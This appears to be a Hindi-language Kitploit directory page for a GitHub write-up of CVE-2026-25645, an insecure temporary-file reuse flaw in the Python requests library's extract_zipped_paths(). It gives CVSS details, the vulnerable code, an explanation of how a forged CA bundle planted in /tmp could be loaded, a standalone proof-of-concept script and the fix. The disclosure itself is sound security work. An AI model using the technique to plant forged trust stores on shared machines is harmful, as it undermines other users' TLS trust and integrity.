Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jaycelation/cve-2026-25645
स्थैतिक विश्लेषणभेद्यता विश्लेषणशोषणवेब सुरक्षापेपर और शोध
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

असुरक्षित टेम्प फ़ाइल पुनःउपयोग extract_zipped_paths() में

रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

[CVE-2026-25645] requests.utils.extract_zipped_paths() में असुरक्षित अस्थायी फ़ाइल पुनःउपयोग

कार्यकारी सारांश

requests लाइब्रेरी (Python) के सार्वजनिक उपयोगिता फ़ंक्शन requests.utils.extract_zipped_paths() में एक भेद्यता की पहचान की गई थी। यह फ़ंक्शन सिस्टम की अस्थायी निर्देशिका (/tmp) में फ़ाइलें निकालने का प्रयास करते समय एक अनुमानित, गैर-अद्वितीय फ़ाइलनाम का उपयोग करता है और पहले से मौजूद फ़ाइलों की अखंडता या स्वामित्व की जाँच करने में विफल रहता है।

हालाँकि certifi के साथ requests का डिफ़ॉल्ट व्यवहार importlib.resources द्वारा शमित किया जाता है, यह उपयोगिता डाउनस्ट्रीम अनुप्रयोगों या कस्टम कार्यान्वयनों के लिए एक सुरक्षा खतरा बनी हुई है जो ज़िपित संसाधनों को संभालने के लिए इस पर निर्भर करते हैं।

भेद्यता जानकारी

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (असुरक्षित अस्थायी फ़ाइल)
  • गंभीरता: मध्यम (5.0)
  • CVSS वेक्टर: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • प्रभावित संस्करण: < 2.33.0

CVSS v3 बेस मेट्रिक्स:

  • हमला वेक्टर: स्थानीय
  • हमला जटिलता: निम्न
  • आवश्यक विशेषाधिकार: निम्न
  • उपयोगकर्ता इंटरैक्शन: आवश्यक
  • दायरा: अपरिवर्तित
  • गोपनीयता: कोई नहीं
  • अखंडता: उच्च
  • उपलब्धता: कोई नहीं

तकनीकी विश्लेषण

तंत्र

फ़ंक्शन requests.utils.extract_zipped_paths() को एक ज़िप संग्रह से सदस्यों को निकालने के लिए डिज़ाइन किया गया है (अक्सर zipapp वातावरण में CA बंडलों के लिए उपयोग किया जाता है)। भेद्य तर्क इन चरणों का पालन करता है:

  1. अनुमानित लक्ष्य: यह सिस्टम अस्थायी निर्देशिका को ज़िप सदस्य के basename के साथ जोड़ता है (उदाहरण के लिए, /tmp/cacert.pem)।
  2. असुरक्षित जाँच: यह यह तय करने के लिए if not os.path.exists(extracted_path) का उपयोग करता है कि फ़ाइल निकालनी है या नहीं।
  3. पथ वापसी: यदि फ़ाइल मौजूद है, तो यह तुरंत पथ लौटा देता है, बिना यह सुनिश्चित किए कि फ़ाइल वर्तमान प्रक्रिया द्वारा बनाई गई थी या इसकी सामग्री की जाँच किए।

मूल कारण विश्लेषण

requests/utils.py में, तर्क निम्नानुसार कार्यान्वित किया गया है:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

प्रभाव और शोषण

कम विशेषाधिकारों वाला एक स्थानीय हमलावर /tmp में अनुमानित पथ पर एक दुर्भावनापूर्ण फ़ाइल (उदाहरण के लिए, एक जाली CA बंडल) पहले से बनाकर इसका शोषण कर सकता है। जब एक पीड़ित (उपयोगकर्ता इंटरैक्शन आवश्यक) एक ऐसा अनुप्रयोग चलाता है जो इस उपयोगिता को आमंत्रित करता है:

  1. उपयोगिता देखती है कि फ़ाइल पहले से मौजूद है।
  2. उपयोगिता निष्कर्षण छोड़ देती है और दुर्भावनापूर्ण फ़ाइल का पथ लौटा देती है।
  3. पीड़ित अनुप्रयोग हमलावर का डेटा लोड करता है, जिससे उच्च अखंडता से समझौता होता है (उदाहरण के लिए, एक जाली ट्रस्ट स्टोर लोड करना)।

प्रमाण अवधारणा (स्टैंडअलोन)

निम्नलिखित स्क्रिप्ट यह दिखाकर भेद्यता को प्रदर्शित करती है कि कैसे उपयोगिता संग्रह से वैध फ़ाइल के बजाय पहले से मौजूद "नकली" फ़ाइल का पुनःउपयोग करती है।

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

उपचार

यह समस्या संस्करण 2.33.0 में संबोधित की गई है। इस फिक्स में ज़िपित संसाधनों को अधिक सुरक्षित रूप से संभालने के लिए importlib.resources पर स्थानांतरित होना शामिल है, यह सुनिश्चित करते हुए कि निष्कर्षण यादृच्छिक, गैर-अनुमानित निर्देशिकाओं में होते हैं और साझा विश्व-लेखन योग्य निर्देशिकाओं में मौजूदा फ़ाइलों के पुनःउपयोग से बचा जाता है।

टूल डाउनलोड करें